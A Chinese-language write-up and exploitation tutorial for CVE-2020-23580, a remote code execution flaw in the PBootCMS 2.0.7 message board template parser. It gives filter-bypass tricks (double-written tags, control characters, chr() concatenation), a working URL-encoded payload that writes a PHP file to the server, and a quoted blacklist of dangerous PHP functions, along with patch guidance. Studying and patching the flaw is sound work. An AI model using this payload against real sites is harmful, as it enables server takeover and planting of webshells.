CVE-2020-23580 PBootCMS安全漏洞浅析
字数 1327 2025-08-29 08:32:24
PBootCMS CVE-2020-23580 安全漏洞分析与利用教学
一、漏洞概述
漏洞编号: CVE-2020-23580
影响版本: PBootCMS 2.0.7 (官方标注为2.0.8但实际影响2.0.7)
漏洞类型: 远程代码执行(RCE)
漏洞位置: 留言板(message board)功能
漏洞成因: 未对用户输入做有效验证导致模板标签解析时可能执行恶意代码
二、环境搭建
1. 下载源码
从码云(Gitee)下载PBootCMS 2.0.7版本源码
2. 数据库配置
默认使用SQLite数据库,如需使用MySQL:
- 创建数据库:
mysql -u root -p
create database pb;
use pb;
source ...\PbootCMS-V2.0.8\static\backup\sql\xxx.sql
- 修改配置文件
config/database.php:
'type' => 'mysql', // 从sqlite改为mysql
'hostname' => 'localhost',
'database' => 'pb',
'username' => 'root',
'password' => 'yourpassword',
3. 访问安装
配置完成后访问网站首页完成安装
三、漏洞分析
1. 核心差异点
比较2.0.7和2.0.8版本,关键差异在MessageController.php和ParserController.php中:
- 2.0.7版本使用
str_replace('pboot:if', '', $field_data) - 2.0.8版本使用递归替换函数
preg_replace_r()
function preg_replace_r($search, $replace, $subject) {
while (preg_match($search, $subject)) {
$subject = preg_replace($search, $replace, $subject);
}
return $subject;
}
2. 攻击链分析
- 攻击者在留言板提交包含恶意{pboot:if}标签的内容
- 管理员在后台将该留言设置为"可显示"
- 当用户访问留言板页面时,系统解析模板标签
- 恶意代码通过
eval()执行
3. 关键代码路径
- 留言提交处理:
apps/home/controller/MessageController.php - 标签解析执行:
apps/home/controller/ParserController.php中的parserIfLabel()函数
// ParserController.php中的关键代码
function parserIfLabel($content) {
$pattern = '/\{pboot:if([\s\S]*?)\}\}([\s\S]*?)\{\/pboot:if\}/';
if (preg_match_all($pattern, $content, $matches)) {
// ...安全检查...
eval('if('.$matches[1][$i].'){$flag="if";}else{$flag="else";}');
}
return $content;
}
四、漏洞利用
1. 绕过str_replace过滤
使用双写绕过:
{pbootpboot:if:if(恶意代码)}内容{/pbootpboot:if:if}
经过一次替换后变为合法标签:
{pboot:if(恶意代码)}内容{/pboot:if}
2. 绕过安全检查
ParserController中有两重安全检查:
第一重检查:检测危险函数
if ((function_exists($value) || preg_match('/^eval$/i', $value))
&& !in_array($value, $white_fun)) {
$danger = 1;
break;
}
绕过方法:在函数名和括号之间插入控制字符(\x00-\x20)
fopen\x01("info.php","w")
第二重检查:黑名单过滤
// 过滤的特殊字符串
(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|
(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|
(shell_exec)|(eval)|(system)|(exec)|(passthru)
绕过方法:
- 使用未被过滤的函数组合:
fputs(fopen()) - 使用
chr()拼接敏感字符串
3. 完整利用POC
{pbootpbootpboot:if:if:if(fputs%01(fopen%01("info.php","w"),"<?php ".chr%01(112).chr%01(104).chr%01(112).chr%01(105).chr%01(110).chr%01(102).chr%01(111).%01."();?>"))}yyy{/pbootpbootpboot:if:if:if}
URL编码后:
%7Bpbootpbootpboot%3Aif%3Aif%3Aif%28fputs%01%28fopen%01%28%22info.php%22%2C%22w%22%29%2C%22%3C%3Fphp+%22.chr%01%28112%29.chr%01%28104%29.chr%01%28112%29.chr%01%28105%29.chr%01%28110%29.chr%01%28102%29.chr%01%28111%29%01.%22%28%29%3B%3F%3E%22%29%29%7Dyyy%7B%2Fpbootpbootpboot%3Aif%3Aif%3Aif%7D
4. 利用步骤
- 在留言板提交上述恶意payload
- 管理员登录后台,将该留言设置为"可显示"
- 访问
/info.php即可看到phpinfo页面
五、修复方案
- 升级到最新版本(PBootCMS 2.0.8及以上)
- 临时修复方案:
- 修改
MessageController.php,使用preg_replace_r()替代str_replace() - 加强
parserIfLabel()函数中的过滤逻辑
- 修改
六、技术要点总结
- 双写绕过:利用
str_replace非递归替换特性 - 控制字符绕过:在函数名和括号间插入\x00-\x20字符
- 函数组合利用:使用未被完全过滤的函数组合实现恶意功能
- chr编码绕过:拼接敏感字符串避免直接出现黑名单内容
七、参考链接
- 动态调用和Webshell技巧 - 离别歌
- PBootCMS官方更新日志